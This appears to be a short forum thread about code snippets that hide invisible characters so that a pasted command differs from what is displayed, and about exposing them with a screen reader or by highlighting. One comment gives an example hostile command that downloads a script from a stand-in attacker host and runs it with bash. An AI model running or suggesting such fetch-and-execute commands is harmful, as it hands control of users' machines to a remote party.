Probably worthless tip, try browsing that code snippet with a screen reader. Yes, it is not hidden from that software. :-)
In any case, most newbies wouldn't even understand whether a command is malicious or not (e.g. `wget http://hax0r.com/exploit.sh; bash exploit.sh`), but I wouldn't say the tip is worthless...
Each selected character and of course white space gets highlighted. When you highlighted the white space next to 'ls' on the right next highlighted character should be '-' but i keeps on marking seemingly forever. If you paste that you'll see that every single character of 'invisible' code gets marked.